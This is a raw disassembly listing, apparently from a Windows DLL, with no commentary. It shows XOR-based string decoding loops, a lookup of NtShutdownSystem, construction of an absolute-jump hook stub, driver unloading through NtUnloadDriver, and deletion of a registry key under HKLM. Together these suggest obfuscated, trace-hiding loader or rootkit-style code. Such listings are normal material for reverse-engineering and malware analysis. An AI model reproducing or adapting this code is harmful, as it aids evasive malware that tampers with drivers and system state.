shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000b060
mov eax, dword [0x18002abd8]
mov dword [rbp - 0x48], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp - 0x50], xmm0
mov byte [rbp - 0x44], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000b1a1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp - 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm10
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp - 0x4c]
xorps xmm11, xmm1
movd dword [rbp - 0x4c], xmm11
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000b1b0
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x50]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov rsi, qword [0x18008a300]
mov r9d, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + r9*8]
mov r8d, dword [r13 + rax]
cmp dword [0x18008a2f8], r8d
jle 0x18000b271
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000b271
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a50], 0x25ff
mov word [rbp + 0x1a54], 0
mov qword [rbp + 0x1a56], rsi
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1350], 0xe
lea rcx, [rbp + 0x1a80]
mov qword [rbp + 0x1110], rcx
mov qword [rbp + 0x1040], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1350]
lea r8, [rbp + 0x1110]
lea rdx, [rbp + 0x1040]
call r10
test al, al
je 0x18000b3b4
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13c0], 0xe
lea rcx, [rbp + 0x1a50]
mov qword [rbp + 0x1030], rcx
mov qword [rbp + 0x1018], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13c0]
lea r8, [rbp + 0x1030]
lea rdx, [rbp + 0x1018]
call r10
test al, al
je 0x18000b3b4
mov rcx, qword [rbp - 0x60]
add rcx, 0x60
mov r8d, 8
lea rdx, [rbp + 0x1180]
call qword [0x18008a2b8]
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1370], 0xe
lea rcx, [rbp + 0x1a80]
mov qword [rbp + 0x1010], rcx
mov qword [rbp + 0x1008], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1370]
lea r8, [rbp + 0x1010]
lea rdx, [rbp + 0x1008]
call r10
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xe80]
call fcn.18000fea0
mov r14, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x18000bbe3
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0x7f8], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0x808], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0x818], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0x828], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0x82c], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000b545
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x7fc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x18000b450
cmp r8d, 0x35
jge 0x18000b593
movsxd rax, r8d
lea r9, [rbp + 0x7f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x18000b560
xorps xmm0, xmm0
movups xmmword [rbp + 0x12d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12e8], xmm1
lea rax, [rbp + 0x7f8]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x18000b5b2
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x12d8]
call fcn.180011280
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000b5e1
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x12d8]
call fcn.180010440
lea rdx, [rbp + 0x12d8]
cmp qword [rbp + 0x12f0], 0xf
cmova rdx, qword [rbp + 0x12d8]
lea rcx, [rbp + 0x1640]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x1630]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1630]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xf90], rbx
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rcx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x18000b874
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x18000b874
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x490], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x4a0], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x4b0], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x4b2], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000b7d5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x494]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x18000b6e0
cmp r8d, 0x23
jge 0x18000b823
movsxd rax, r8d
lea r9, [rbp + 0x490]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x18000b7f0
xorps xmm0, xmm0
movups xmmword [0x18008a2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x18008a2e8], xmm1
lea rax, [rbp + 0x490]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000b840
mov r8, rdi
lea rdx, [rbp + 0x490]
mov rcx, rsi
call fcn.180011280
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
cmp qword [0x18008a2f0], 0xf
cmova rsi, qword [0x18008a2d8]
lea r8, [rbp + 0xf90]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000b8ac
mov rdx, qword [r14]
mov rcx, qword [rbp + 0xf90]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x18000b8ce
mov rcx, qword [rbp + 0xf90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x908]
call fcn.180003080
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x18000b8ec
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x700], rcx
mov qword [rbp + 0x708], rax
movups xmm6, xmmword [rbp + 0x700]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x620]
call fcn.1800104e0
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000b934
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x620]
call fcn.180010440
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x718], rax
movups xmm6, xmmword [rbp + 0x710]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x230]
call fcn.180002340
nop
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 7
cmova rcx, qword [rbp + 0x230]
call fcn.180026f44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18000eb6d
mov rdx, qword [rbp + 0x248]
cmp rdx, 7
jbe 0x18000ba4e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ba49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000ba49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x240], xmm15
mov word [rbp + 0x230], bx
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x18000baae
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000baa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000baa9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x200], xmm13
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x18000bb0e
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bb09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bb09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x630], xmm13
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x920]
cmp rdx, 7
jbe 0x18000bb73
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x908]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bb6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bb6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x918], xmm15
mov word [rbp + 0x908], bx
mov rdx, qword [rbp + 0x12f0]
cmp rdx, 0xf
jbe 0x18000bbd3
inc rdx
mov rcx, qword [rbp + 0x12d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bbce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bbce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x12e8], xmm13
mov byte [rbp + 0x12d8], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18000bc25
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x18000bc20
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000c1ed
mov rcx, r8
call fcn.1800271e0
mov rax, r14
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [rax], 0
mov edi, ebx
jmp 0x18000e592
lea rax, [rbp + 0x1480]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov word [rax + 0x80], cx
movsd xmm0, qword [str.XN_PI]
movsd qword [rbp - 0x78], xmm0
movzx ecx, word [0x18004a900]
mov word [rbp - 0x70], cx
movzx eax, byte [0x18004a902]
mov byte [rbp - 0x78], 0x64
xor byte [rbp - 0x77], 0x39
xor byte [rbp - 0x76], 0x3a
xor byte [rbp - 0x75], 0x3b
xor byte [rbp - 0x74], 0x3c
xor byte [rbp - 0x73], 0x3d
xor byte [rbp - 0x72], 0x3e
xor byte [rbp - 0x71], 0x3f
xor cl, 0x40
mov byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], 0x41
xor al, 0x42
mov byte [rbp - 0x6e], al
lea rcx, [rbp - 0x78]
call fcn.180001d70
mov ecx, r12d
test rax, rax
jne 0x18000cbc2
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [r13 + rcx]
cmp dword [0x18008a298], eax
jle 0x18000bfb3
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000bfb3
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x68], rax
cmp byte [0x18002ac27], 0
je 0x18000be43
cmp r15d, 2
jl 0x18000be08
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
jmp 0x18000be43
lea r9, [rbp + 0x68]
mov r8d, ebx
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000be10
mov eax, dword [0x18002abd8]
mov dword [rbp + 0x38], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp + 0x30], xmm0
mov byte [rbp + 0x3c], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000bf51
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0x30], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm10
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm11, xmm1
movd dword [rbp + 0x34], xmm11
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000bf60
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x30]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov rsi, qword [0x18008a300]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x18000c024
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000c024
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a40], 0x25ff
mov word [rbp + 0x1a44], 0
mov qword [rbp + 0x1a46], rsi
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1398], 0xe
lea rcx, [rbp + 0x1aa0]
mov qword [rbp + 0xff8], rcx
mov qword [rbp + 0xff0], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1398]
lea r8, [rbp + 0xff8]
lea rdx, [rbp + 0xff0]
call r10
test al, al
je 0x18000c167
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13a0], 0xe
lea rcx, [rbp + 0x1a40]
mov qword [rbp + 0xfe8], rcx
mov qword [rbp + 0x1118], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13a0]
lea r8, [rbp + 0xfe8]
lea rdx, [rbp + 0x1118]
call r10
test al, al
je 0x18000c167
mov rcx, qword [rbp - 0x60]
add rcx, 0x60
mov r8d, 8
lea rdx, [rbp + 0x1180]
call qword [0x18008a2b8]
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13c8], 0xe
lea rcx, [rbp + 0x1aa0]
mov qword [rbp + 0xfe0], rcx
mov qword [rbp + 0xfd8], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000cbbb
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13c8]
lea r8, [rbp + 0xfe0]
lea rdx, [rbp + 0xfd8]
call r10
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xe60]
call fcn.18000fea0
mov r14, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x18000c1f4
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18000c1d8
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18000c1d3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000c1ed
mov rcx, r8
call fcn.1800271e0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x18000c9fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0x7c0], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0x7d0], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0x7e0], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0x7f0], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0x7f4], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000c359
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x7c4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x18000c260
cmp r8d, 0x35
jge 0x18000c3a3
movsxd rax, r8d
lea r9, [rbp + 0x7c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x18000c370
xorps xmm0, xmm0
movups xmmword [rbp + 0x1298], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12a8], xmm1
lea rax, [rbp + 0x7c0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x18000c3c2
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x1298]
call fcn.180011280
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000c3f1
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x1298]
call fcn.180010440
lea rdx, [rbp + 0x1298]
cmp qword [rbp + 0x12b0], 0xf
cmova rdx, qword [rbp + 0x1298]
lea rcx, [rbp + 0x1620]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1620]
lea rcx, [rbp + 0x1610]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
